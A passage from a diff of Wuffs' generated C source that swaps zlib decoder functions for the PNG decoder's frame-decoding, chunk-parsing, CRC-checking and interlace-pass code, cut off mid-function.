self->private_impl.p_skip_frame = 0; ++ goto exit; + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_skip_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + +- return wuffs_base__utility__make_range_ii_u64(1u, 1u); ++ return status; + } + +-// -------- func zlib.decoder.transform_io ++// -------- func png.decoder.decode_frame + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_zlib__decoder__transform_io( +- wuffs_zlib__decoder* self, +- wuffs_base__io_buffer* a_dst, ++wuffs_png__decoder__decode_frame( ++ wuffs_png__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, + wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +@@ -52170,7 +65458,7 @@ wuffs_zlib__decoder__transform_io( + return wuffs_base__make_status(wuffs_base__error__bad_argument); + } + if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { ++ (self->private_impl.active_coroutine != 3)) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); + } +@@ -52179,71 +65467,312 @@ wuffs_zlib__decoder__transform_io( + + wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_transform_io[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_png__decoder__do_decode_frame(self, ++ a_dst, ++ a_src, ++ a_blend, ++ a_workbuf, ++ a_opts); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_png__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func png.decoder.do_decode_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__do_decode_frame( ++ wuffs_png__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_seq_num = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint32_t v_pass_width = 0; ++ uint32_t v_pass_height = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + ++ if (((uint8_t)(self->private_impl.f_call_sequence & 16u)) != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } else if (self->private_impl.f_call_sequence >= 96u) { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } else if (self->private_impl.f_call_sequence != 64u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_png__decoder__do_decode_frame_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } + while (true) { +- { +- wuffs_base__status t_0 = wuffs_zlib__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); +- v_status = t_0; ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 8u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ continue; + } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_zlib__error__truncated_input); ++ self->private_impl.f_chunk_length = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ self->private_impl.f_chunk_type = ((uint32_t)((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) >> 32u))); ++ if (self->private_impl.f_chunk_type == 1413563465u) { ++ self->private_impl.f_chunk_type_array[0u] = 73u; ++ self->private_impl.f_chunk_type_array[1u] = 68u; ++ self->private_impl.f_chunk_type_array[2u] = 65u; ++ self->private_impl.f_chunk_type_array[3u] = 84u; ++ iop_a_src += 8u; ++ if ( ! self->private_impl.f_ignore_checksum) { ++ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, ++ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); ++ } ++ break; ++ } else if (self->private_impl.f_chunk_type == 1413571686u) { ++ self->private_impl.f_chunk_type_array[0u] = 102u; ++ self->private_impl.f_chunk_type_array[1u] = 100u; ++ self->private_impl.f_chunk_type_array[2u] = 65u; ++ self->private_impl.f_chunk_type_array[3u] = 84u; ++ if (self->private_impl.f_chunk_length < 4u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_length -= 4u; ++ iop_a_src += 8u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_frame.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_frame.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); ++ } ++ } ++ v_seq_num = t_0; ++ } ++ if (v_seq_num != self->private_impl.f_next_animation_seq_num) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); ++ goto exit; ++ } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { ++ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); ++ goto exit; ++ } ++ self->private_impl.f_next_animation_seq_num += 1u; ++ break; ++ } else if (self->private_impl.f_chunk_type == 1280598886u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); + goto exit; + } ++ self->private_data.s_do_decode_frame.scratch = (((uint64_t)(self->private_impl.f_chunk_length)) + 12u); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (self->private_data.s_do_decode_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_frame.scratch; ++ self->private_impl.f_chunk_length = 0u; ++ } ++ if (self->private_impl.f_zlib_is_dirty) { ++ wuffs_private_impl__ignore_status(wuffs_zlib__decoder__initialize(&self->private_data.f_zlib, ++ sizeof (wuffs_zlib__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ if (self->private_impl.f_ignore_checksum) { ++ wuffs_zlib__decoder__set_quirk(&self->private_data.f_zlib, 1u, 1u); ++ } ++ } ++ self->private_impl.f_zlib_is_dirty = true; ++ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, ++ wuffs_base__pixel_buffer__pixel_format(a_dst), ++ wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), ++ wuffs_base__utility__make_pixel_format(self->private_impl.f_src_pixfmt), ++ wuffs_base__make_slice_u8(self->private_data.f_src_palette, 1024), ++ a_blend); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { + status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ self->private_impl.f_workbuf_hist_pos_base = 0u; ++ while (true) { ++ if (self->private_impl.f_chunk_type_array[0u] == 73u) { ++ v_pass_width = (16777215u & ((((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][1u])) + self->private_impl.f_width) >> WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u])); ++ v_pass_height = (16777215u & ((((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][4u])) + self->private_impl.f_height) >> WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][3u])); ++ } else { ++ v_pass_width = (16777215u & ((uint32_t)(self->private_impl.f_frame_rect_x1 - self->private_impl.f_frame_rect_x0))); ++ v_pass_height = (16777215u & ((uint32_t)(self->private_impl.f_frame_rect_y1 - self->private_impl.f_frame_rect_y0))); ++ } ++ if ((v_pass_width > 0u) && (v_pass_height > 0u)) { ++ self->private_impl.f_pass_bytes_per_row = wuffs_png__decoder__calculate_bytes_per_row(self, v_pass_width); ++ self->private_impl.f_pass_workbuf_length = (((uint64_t)(v_pass_height)) * (1u + self->private_impl.f_pass_bytes_per_row)); ++ while (true) { ++ { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_1 = wuffs_png__decoder__decode_pass(self, a_src, a_workbuf); ++ v_status = t_1; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } else if (wuffs_base__status__is_error(&v_status) || ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed))) { ++ if (self->private_impl.f_workbuf_wi <= ((uint64_t)(a_workbuf.len))) { ++ wuffs_png__decoder__filter_and_swizzle(self, a_dst, wuffs_base__slice_u8__subslice_j(a_workbuf, self->private_impl.f_workbuf_wi)); ++ } ++ if (v_status.repr == wuffs_base__suspension__short_read) { ++ status = wuffs_base__make_status(wuffs_png__error__truncated_input); ++ goto exit; ++ } ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); ++ } ++ v_status = wuffs_png__decoder__filter_and_swizzle(self, a_dst, a_workbuf); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ self->private_impl.f_workbuf_hist_pos_base += self->private_impl.f_pass_workbuf_length; ++ } ++ if ((self->private_impl.f_interlace_pass == 0u) || (self->private_impl.f_interlace_pass >= 7u)) { ++ break; ++ } ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_impl.f_interlace_pass += 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif + } ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); ++ self->private_impl.f_call_sequence = 32u; + + ok: +- self->private_impl.p_transform_io[0] = 0; ++ self->private_impl.p_do_decode_frame = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } ++ + return status; + } + +-// -------- func zlib.decoder.do_transform_io ++// -------- func png.decoder.decode_pass + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_zlib__decoder__do_transform_io( +- wuffs_zlib__decoder* self, +- wuffs_base__io_buffer* a_dst, ++wuffs_png__decoder__decode_pass( ++ wuffs_png__decoder* self, + wuffs_base__io_buffer* a_src, + wuffs_base__slice_u8 a_workbuf) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint16_t v_x = 0; +- uint32_t v_checksum_got = 0; +- wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ wuffs_base__io_buffer u_w = wuffs_base__empty_io_buffer(); ++ wuffs_base__io_buffer* v_w = &u_w; ++ uint8_t* iop_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io0_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint64_t v_w_mark = 0; ++ uint64_t v_r_mark = 0; ++ wuffs_base__status v_zlib_status = wuffs_base__make_status(NULL); ++ uint32_t v_checksum_have = 0; + uint32_t v_checksum_want = 0; +- uint64_t v_mark = 0; ++ uint32_t v_seq_num = 0; + +- uint8_t* iop_a_dst = NULL; +- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; +- } +- } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -52255,77 +65784,93 @@ wuffs_zlib__decoder__do_transform_io( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_transform_io[0]; +- if (coro_susp_point) { +- v_checksum_got = self->private_data.s_do_transform_io[0].v_checksum_got; +- } ++ uint32_t coro_susp_point = self->private_impl.p_decode_pass; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_bad_call_sequence) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- goto exit; +- } else if (self->private_impl.f_quirks[0u]) { +- } else if ( ! self->private_impl.f_want_dictionary) { ++ self->private_impl.f_workbuf_wi = 0u; ++ while (true) { ++ if ((self->private_impl.f_workbuf_wi > self->private_impl.f_pass_workbuf_length) || (self->private_impl.f_pass_workbuf_length > ((uint64_t)(a_workbuf.len)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); ++ goto exit; ++ } + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint16_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_0 = wuffs_base__peek_u16be__no_bounds_check(iop_a_src); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_transform_io[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ wuffs_base__io_buffer* o_0_v_w = v_w; ++ uint8_t* o_0_iop_v_w = iop_v_w; ++ uint8_t* o_0_io0_v_w = io0_v_w; ++ uint8_t* o_0_io1_v_w = io1_v_w; ++ uint8_t* o_0_io2_v_w = io2_v_w; ++ v_w = wuffs_private_impl__io_writer__set( ++ &u_w, ++ &iop_v_w, ++ &io0_v_w, ++ &io1_v_w, ++ &io2_v_w, ++ wuffs_base__slice_u8__subslice_ij(a_workbuf, ++ self->private_impl.f_workbuf_wi, ++ self->private_impl.f_pass_workbuf_length), ++ ((uint64_t)(self->private_impl.f_workbuf_hist_pos_base + self->private_impl.f_workbuf_wi))); ++ { ++ const bool o_1_closed_a_src = a_src->meta.closed; ++ const uint8_t* o_1_io2_a_src = io2_a_src; ++ wuffs_private_impl__io_reader__limit(&io2_a_src, iop_a_src, ++ ((uint64_t)(self->private_impl.f_chunk_length))); ++ if (a_src) { ++ size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); ++ a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); ++ a_src->meta.wi = n; ++ } ++ v_w_mark = ((uint64_t)(iop_v_w - io0_v_w)); ++ v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ u_w.meta.wi = ((size_t)(iop_v_w - u_w.data.ptr)); ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- uint64_t* scratch = &self->private_data.s_do_transform_io[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); +- if (num_bits_0 == 8) { +- t_0 = ((uint16_t)(*scratch >> 48)); +- break; ++ wuffs_base__status t_0 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, v_w, a_src, wuffs_base__utility__empty_slice_u8()); ++ v_zlib_status = t_0; ++ iop_v_w = u_w.data.ptr + u_w.meta.wi; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; + } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); ++ } ++ if ( ! self->private_impl.f_ignore_checksum) { ++ wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); ++ } ++ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_private_impl__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_workbuf_wi, wuffs_private_impl__io__count_since(v_w_mark, ((uint64_t)(iop_v_w - io0_v_w)))); ++ io2_a_src = o_1_io2_a_src; ++ if (a_src) { ++ a_src->meta.closed = o_1_closed_a_src; ++ a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); + } + } +- v_x = t_0; +- } +- if (((v_x >> 8u) & 15u) != 8u) { +- status = wuffs_base__make_status(wuffs_zlib__error__bad_compression_method); +- goto exit; +- } +- if ((v_x >> 12u) > 7u) { +- status = wuffs_base__make_status(wuffs_zlib__error__bad_compression_window_size); +- goto exit; +- } +- if ((v_x % 31u) != 0u) { +- status = wuffs_base__make_status(wuffs_zlib__error__bad_parity_check); +- goto exit; ++ v_w = o_0_v_w; ++ iop_v_w = o_0_iop_v_w; ++ io0_v_w = o_0_io0_v_w; ++ io1_v_w = o_0_io1_v_w; ++ io2_v_w = o_0_io2_v_w; + } +- self->private_impl.f_want_dictionary = ((v_x & 32u) != 0u); +- if (self->private_impl.f_want_dictionary) { +- self->private_impl.f_dict_id_got = 1u; ++ if (wuffs_base__status__is_ok(&v_zlib_status)) { ++ if (self->private_impl.f_chunk_length > 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__too_much_data); ++ goto exit; ++ } + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); + uint32_t t_1; + if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { + t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); + iop_a_src += 4; + } else { +- self->private_data.s_do_transform_io[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ self->private_data.s_decode_pass.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_do_transform_io[0].scratch; ++ uint64_t* scratch = &self->private_data.s_decode_pass.scratch; + uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); + *scratch >>= 8; + *scratch <<= 8; +@@ -52338,101 +65883,208 @@ wuffs_zlib__decoder__do_transform_io( + *scratch |= ((uint64_t)(num_bits_1)); + } + } +- self->private_impl.f_dict_id_want = t_1; ++ v_checksum_want = t_1; + } +- status = wuffs_base__make_status(wuffs_zlib__note__dictionary_required); +- goto ok; +- } else if (self->private_impl.f_got_dictionary) { +- status = wuffs_base__make_status(wuffs_zlib__error__incorrect_dictionary); +- goto exit; +- } +- } else if (self->private_impl.f_dict_id_got != self->private_impl.f_dict_id_want) { +- if (self->private_impl.f_got_dictionary) { +- status = wuffs_base__make_status(wuffs_zlib__error__incorrect_dictionary); ++ if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_chunk_type_array[0u] == 73u)) { ++ v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__utility__empty_slice_u8()); ++ if (v_checksum_have != v_checksum_want) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_checksum); ++ goto exit; ++ } ++ } ++ break; ++ } else if (v_zlib_status.repr == wuffs_base__suspension__short_write) { ++ if ((1u <= self->private_impl.f_interlace_pass) && (self->private_impl.f_interlace_pass <= 6u)) { ++ break; ++ } ++ status = wuffs_base__make_status(wuffs_base__error__too_much_data); + goto exit; +- } +- status = wuffs_base__make_status(wuffs_zlib__note__dictionary_required); +- goto ok; +- } +- self->private_impl.f_header_complete = true; +- while (true) { +- v_mark = ((uint64_t)(iop_a_dst - io0_a_dst)); +- { +- if (a_dst) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } else if (v_zlib_status.repr != wuffs_base__suspension__short_read) { ++ status = v_zlib_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; + } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ goto ok; ++ } else if (self->private_impl.f_chunk_length == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_2 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_pass.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_pass.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); ++ if (num_bits_2 == 24) { ++ t_2 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)); ++ } ++ } ++ v_checksum_want = t_2; + } +- wuffs_base__status t_2 = wuffs_deflate__decoder__transform_io(&self->private_data.f_flate, a_dst, a_src, a_workbuf); +- v_status = t_2; +- if (a_dst) { +- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_chunk_type_array[0u] == 73u)) { ++ v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__utility__empty_slice_u8()); ++ if (v_checksum_have != v_checksum_want) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_checksum); ++ goto exit; ++ } + } +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ uint32_t t_3; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_pass.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_pass.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); ++ if (num_bits_3 == 24) { ++ t_3 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_3 += 8u; ++ *scratch |= ((uint64_t)(num_bits_3)); ++ } ++ } ++ self->private_impl.f_chunk_length = t_3; + } +- } +- if ( ! self->private_impl.f_ignore_checksum && ! self->private_impl.f_quirks[0u]) { +- v_checksum_got = wuffs_adler32__hasher__update_u32(&self->private_data.f_checksum, wuffs_base__io__since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); +- } +- if (wuffs_base__status__is_ok(&v_status)) { +- break; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); +- } +- if ( ! self->private_impl.f_quirks[0u]) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- uint32_t t_3; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_transform_io[0].scratch = 0; ++ { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ uint32_t t_4; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_4 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_pass.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_pass.scratch; ++ uint32_t 